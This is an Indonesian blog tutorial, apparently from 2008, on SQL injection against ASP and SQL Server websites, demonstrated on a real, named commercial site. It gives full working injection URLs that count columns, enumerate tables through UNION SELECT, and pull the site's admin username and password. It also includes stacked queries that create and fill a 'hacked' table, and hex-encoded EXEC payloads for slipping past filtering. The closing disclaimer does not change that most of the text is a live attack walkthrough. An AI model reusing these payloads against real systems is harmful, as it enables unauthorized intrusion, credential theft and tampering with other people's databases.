Jumat, 09 Januari 2009

Explore SQLi untuk mendapatkan struktur table pada ASP – SQL Server

Explore SQLi untuk mendapatkan struktur table pada ASP – SQL Server
Oleh new-bee
Published: Desember 9, 2008
Updated: Desember 9, 2008

Disana sini sudah banyak sekali dibahas bagaimana mendapatkan struktur table dari sebuah web yang dibangun dengan menggunakan PHP dan MySQL. Dan artikel ini saya bahas bagaimana kita bisa mendapatkan informasi table pada web yang dibangun dari ASP dan SQL Server. Dari pengalaman saya selama ini yang bekerja dengan SQL Server, SQL Server mendukung mendukung penggunaan ”MULTI QUERY” yang mana memberikan keleluasaan bagi kita untuk melakukan select,update,delete,bahkan drop table – query yang krusial bisa kita lakukan..

Sebelum saya membahas cara-cara untuk mendapatkan struktur table, alangkah baiknya jiika saya menjelaskan sedikit tentang struktur table di SQL Server…

Dasar Struktur Table SQL.Disini saya akan mengajak sodara sekalian untuk mengeksplorasi sebuah database dengan nama Northwind (database bawaan saat install SQL Server)

Dimanakah SQL Server menyimpan semua informasi tabel database tersebut ? SQL Server menyimpan informasi tabel pada sebuah tabel khusus yang diberinama sysobjects dan syscolumns. Apa itu tabel sysobjects ? tabel sysobjects adalah tabel yang menyimpan seluruh informasi mengenai tabel dan tabel syscolumns adalah tabel yang menyimpan seluruh informasi mengenai column2 pada tabel..



Waah... aku gak ngerti apa tuh isinya, bingung gimana nyarinya...” Tenang disinilah trik tersebut dibutuhkan... Kita buka SQL Query Analizer. Kita jalankan Query berikut

SELECT sysobjects.name FROM sysobjects (NOLOCK)

WHERE sysobjects.type = 'U'

Dan apa yang didapatkan itu merupakan semua tabel yang dibuat oleh user (sysobjects.type = `U`)

Bagaimana kita mengetahui field-field yang ada pada tabel tersebut? Coba kita modifikasi sedikit script tersebut yang nantinya akan menghasilkan informasi tabel

SELECT sysobjects.name AS tablename, syscolumns.name AS columnname

FROM sysobjects (NOLOCK)

INNER JOIN syscolumns (NOLOCK) ON sysobjects.id = syscolumns.id

WHERE sysobjects.type = 'U'

ORDER BY sysobjects.id ASC ,syscolumns.colid ASC

sysobjects.id adalah field yang mengisi id dari tabel dan syscolumns.colid adalah field yang berisi informasi id dari column di tiap tabelnya

Bandingkan dengan screen shoot tabel aslinya dibawah ini. Apakah ada perbedaan? Aku rasa tidak...

Implementasi pada website

Pada bab ini saya akan menjelaskan dengan semampu saya bagaimana kita melakukan explorasi pada sebuah celah website untuk mendapatkan semua sturktur table.Tentunya sudah tidak asing dengan SQL Injection. Disini saya akan implementasikan query diatas untuk mendapatkan struktur table dari sebuah database website.Dan tentunya akan saya berikan sedikit trik-trik kuno.Saya melakukan googling site yang mengunakan ASP dan aku dapatkan 1 website yang bisa di explore. Demikian langkah2 saya melakukan exploring :

1) saya gunakan tanda single quote ( ' ) emang karakter 1 ini bener2 ampuh, dan hasil yang saya dapat adalah pesan error

http://www.dagangasia.com.my/directory/directorydetail.asp?intID=1’5--&t=1

2) gotcha… we have a target now…

pertama saya gunakan query order dulu untuk menemukan banyaknya column yang di panggil yah. Mulai dari ORDER BY 1 sampai ORDER BY n yang menghasilkan error. Dan disini saya mendapatkan error saat Query ORDER BY 20 -- . jadi saya asumsikan ada 19 column yang di select

http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 ORDER BY 20 --&t=1



3) Setelah kita melakukan query ORDER, disini kita harus pastikan lagi dengan menggunakan query UNION SELECT. Kira2 querynya adalah begini.

UNION SELECT ‘1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’ - ,’19’


http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19';--&t=1

Berharap mendapatkan sesuatu yang berharga, tapi apa yang aku dapatkan adalah error. Mulai memutar otak kembali dan akhirnya melakukan select manual :)
Akhirnya berhasil, Query sukses di execute pada SELECT 9 column

http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9';--&t=1



4) LEST GO … cari cari table… :D
untuk mencari tabel kita gunakan query yang sudah saya bahas pada dasar SQL diatas.Sayang sekali di SQL Server tidak ada function yg sejenis dengan group_concat milik MySQL. Jadi disini kita harus melakukan select 1 / 1

http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.id,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id ;--&t=1

wohoho langsung ketemu table admin



kalo ingin mengexplorenya tinggal tambahkan pada query
WHERE sysobjects.id > … kira2 SQL nya seperti ini



SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.id > [sysobjects.id yang tampil]



http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 453576654 ;--&t=1

hasilnya adalah seperti ini



dari execute query diatas didapatkan table banner dengan id = 1829581556, kita bisa lanjutkan untuk mendapatkan semua tabelnya contoh :



http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 1829581556 ;--&t=1



dan kita mendapatkan table selanjutnya…..



5) Kita ambil table admin tadi yah, lalu kita select field2nya. Querynya diubah dong kira2 begini nanti SELECT Querynya





SELECT sysobjects.name, sysobjects.category, syscolumns.name,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’



http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name ,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumnssyscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' ;--&t=1 ON

bagaimana kita mendapatkan semua column ? ß good question…
pada table syscolumns disediakan field yang namanya colid (column id) disanalah kita explore

Jadi Querynya kita rubah

SELECT sysobjects.name, sysobjects.category, syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’ AND syscolumns.colid = 1



Kita coba implementasikan wekeke :)

http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' AND syscolumns.colid = 2 ;--&t=1



6) Saya rasa cukup exploring nya, dan disini finishing touchnya kita select dari field dan table yang sudah kita dapatkan tadi sodara SQLnya kira kira begini

SELECT vcAdmin, vcPassword, '3','4','5','6','7','8','9' FROM admin


dan hasilnya adalah yeah password dan user untuk login sebagai super admin



7) Ada lagi gak yang lebih asik dari itu ? ß tentu ada dong
1. Create database à bisa
2. Insert à bisa
3. Drop tabel à bisa dong

Contoh yang lebih asik adalah sebagai berikut. Saya akan membuat table dengan nama hacked lalu insert ke table



CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?
yeah monggo silahkan...

dedicate to all indonesian hacker

best regard
new-bee');--



Kita tinggal mengaplikasikan dan mengeksekusinya


http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0; CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));-- INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?
yeah monggo silahkan...

dedicate to all indonesian hacker

best regard
new-bee');--&t=1



dan hasilnya bisa dilihat di sini



http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT isgoingbad,'2','3','4','5','6','7','8',gottcha FROM hacked;--&t=1

Tips dan Trik



Disini saya akan berbagi sedikit trik, terutama saat kita melakukan select struktur table dan struktur column. Sayang sekali SQL tidak dilengkapi dengan function group_concat seperti pada MySQL, tetapi bukan berarti kita bisa melakukan manipulasi dengan segala cara.. jadi ingat kata2 om S’to di bukunya... banyak jalan menuju roma J



Saya sudah mencoba membuat sebuah query yang kira2 bentuknya akan begini

DECLARE @x varchar(8000)
SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'
SELECT @x

Dan Query diatas berhasil kita bisa membuat function yang mirip dengan group_concat milik MySQL

Lalu bagaimana agar kita bisa melakukan SELECT dengan UNION ? Jawabannya adalah, kenapa kita tidak membuat sebuat table dan memasukan hasil select kedalam tabel dan kita melakukan SELECT dari table yang kita buat. Bingung ? udah langsung aja deh



1. Pertama adalah kita membuat sebuah table, saya rasa semua tahu bagaimana cara membuat. Query untuk membuat table adalah

CREATE TABLE test (fieldtest text);

2. Setelah itu kita modifikasi SQL diatas agar hasil dari query diatas bisa masuk kedalam table yang baru kita buat. Oke kita modifikasi



DECLARE @x varchar(8000)

SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'

INSERT INTO test VALUES (@x)



Lalu kita coba melakukan select pada table test yang sudah kita isi dengan query diatas



SELECT * FROM test



3. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Kita create table terlebih dahulu

http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;CREATE TABLE test (fieldtest varchar(8000));--

Tidak ada error terjadi, setelah itu kita execute Query selanjutnya

http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @x varchar(8000) SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U' INSERT INTO test VALUES (@x);--

Tidaaaak… terdapat error, dan setelah saya melakukan trial dan error ternyata disebabkan tanda + pada Query tersebut dianggap “ “ (space) oleh browser, sehingga kita tidak bisa melakukan execute terhadap Query diatas L

4. Kita tidak boleh menyerah, banyak jalan menuju roma, dan yang kita lakukan adalah merubah Query diatas menjadi sekumpulan hexadesimal J Query diatas jika di jadikan hexadecimal kira2 akan seperti ini

0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534 345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F62 6A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920


Lalu bagaimana kita membuat execute untuk hexadecimal diatas ? saya sudah membuat Querynya mudah mudahan berhasil



DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45 534345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F6 26A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);--

5. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Karena kita telah membuat table test kita tinggal menjalankan Query untuk mengisi table test

http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534345284078 202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F626A6563747320284E4F4C4F4 34B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);--

Dan tidak ada error, hore hore hore…. Akhirnya bisa juga di execute querynya... oops apakah bener Query tersebut sukses di execute ?

6. Sebagai penutup dari trik ini saya akan melakukan SELECT dari table test yang telah kita buat diatas

http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT fieldtest,‘2’,'3','4','5','6','7','8','9' FROM test ;--&t=1





Kesimpulan

Bener bener deh, jika kita tidak mudah menyerah dan mau sedikit berimprovisasi kita akan mendapatkan segala sesuatu yang kita inginkan :) Terima Kasih telah meluangkan waktu untuk membaca artikel yang panjang dan cupu ini.. Jika ada kesalahan kata maupun ada teknik yang lebih keren... Mohon artikel ini diperbaiki..... Thanks to semuanya yang sudah membantu baik dukungan moril maupun materiil ... Viva Indonesia...

NB : Artikel ini adalah pembelajaran bukan tutorial untuk melakukan hacking terhadap sebuah situs, kalo ada penyalahgunaan terhadap artikel ini saya (new-bee) tidak bertanggung jawab. Terima kasih.

Tidak ada komentar:

Posting Komentar